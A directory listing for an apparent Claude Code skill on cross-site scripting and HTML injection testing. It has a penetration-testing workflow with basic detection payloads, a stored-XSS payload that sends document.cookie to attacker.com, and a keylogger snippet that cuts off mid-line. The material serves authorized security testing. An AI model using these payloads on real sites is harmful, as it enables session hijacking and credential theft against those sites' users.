Claude Skill

Cross-Site Scripting and HTML Injection Testing

This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.

Reviewed community sourceInstallable4 sections3 related pages

Editor's Note

This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security... Covers purpose, inputs / prerequisites, outputs / deliverables.

Editorial Guide

What to do with this skill

Start with the workflow below, then drop into the upstream source only after the page has narrowed the job for you.

What this skill does

This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.

When to use it

Use it when you need Claude Code to follow the workflow defined in the upstream source instead of improvising from generic examples.

Install and setup notes

  • Open the upstream source before treating this page as install-ready, because not every official record is meant to be dropped into a workflow unchanged.
  • Keep the context narrow. These skills are usually strongest when you load only the branch, reference set, or workflow step that matches the current task.
  • If you plan to standardize on this skill for team use, pin the upstream repo and check for updates periodically instead of assuming the official defaults are static.

Example workflow

  1. Start with one narrow task that obviously fits the scope of this Claude Code skill instead of pulling it into every job by default.
  2. Read the overview and first source section, then choose the smallest branch of guidance or references that solves the task in front of you.
  3. Run the change on a real file, command, or workflow, verify the result, and only then widen the skill into a repeatable team pattern.

Compatible agents

This skill is explicitly marked for Claude Code.

Claude Code

Install source

This page does not expose a single copy-paste install command in the normalized record. Use the upstream install source below to confirm the exact steps, file paths, and current setup expectations before you add it to your stack.

Page Outline

PurposeInputs / PrerequisitesOutputs / DeliverablesCore Workflow

Source Content

Normalized top-level metadata comes from the directory layer. The body below is the upstream source content for this item.

Cross-Site Scripting and HTML Injection Testing

Purpose

Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.

Inputs / Prerequisites

Required Access

  • Target web application URL with user input fields
  • Burp Suite or browser developer tools for request analysis
  • Access to create test accounts for stored XSS testing
  • Browser with JavaScript console enabled

Technical Requirements

  • Understanding of JavaScript execution in browser context
  • Knowledge of HTML DOM structure and manipulation
  • Familiarity with HTTP request/response headers
  • Understanding of cookie attributes and session management

Legal Prerequisites

  • Written authorization for security testing
  • Defined scope including target domains and features
  • Agreement on handling of any captured session data
  • Incident response procedures established

Outputs / Deliverables

  • XSS/HTMLi vulnerability report with severity classifications
  • Proof-of-concept payloads demonstrating impact
  • Session hijacking demonstrations (controlled environment)
  • Remediation recommendations with CSP configurations

Core Workflow

Phase 1: Vulnerability Detection

#### Identify Input Reflection Points Locate areas where user input is reflected in responses:

# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)

#### Basic Detection Testing Insert test strings to observe application behavior:

<!-- Basic reflection test -->
<test123>

<!-- Script tag test -->
<script>alert('XSS')</script>

<!-- Event handler test -->
<img src=x onerror=alert('XSS')>

<!-- SVG-based test -->
<svg onload=alert('XSS')>

<!-- Body event test -->
<body onload=alert('XSS')>

Monitor for:

  • Raw HTML reflection without encoding
  • Partial encoding (some characters escaped)
  • JavaScript execution in browser console
  • DOM modifications visible in inspector

#### Determine XSS Type

**Stored XSS Indicators:**

  • Input persists after page refresh
  • Other users see injected content
  • Content stored in database/filesystem

**Reflected XSS Indicators:**

  • Input appears only in current response
  • Requires victim to click crafted URL
  • No persistence across sessions

**DOM-Based XSS Indicators:**

  • Input processed by client-side JavaScript
  • Server response doesn't contain payload
  • Exploitation occurs entirely in browser

Phase 2: Stored XSS Exploitation

#### Identify Storage Locations Target areas with persistent user content:

- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences

#### Craft Persistent Payloads

<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>

<!-- Keylogger injection -->
<script>
document.onkeypres

<!-- truncated -->

Recommended skills

Next places to browse

Sponsored
MoltAwards: Turn AI agents loose on government contracts & jobs! logo

Turn AI agents loose on government contracts

Learn more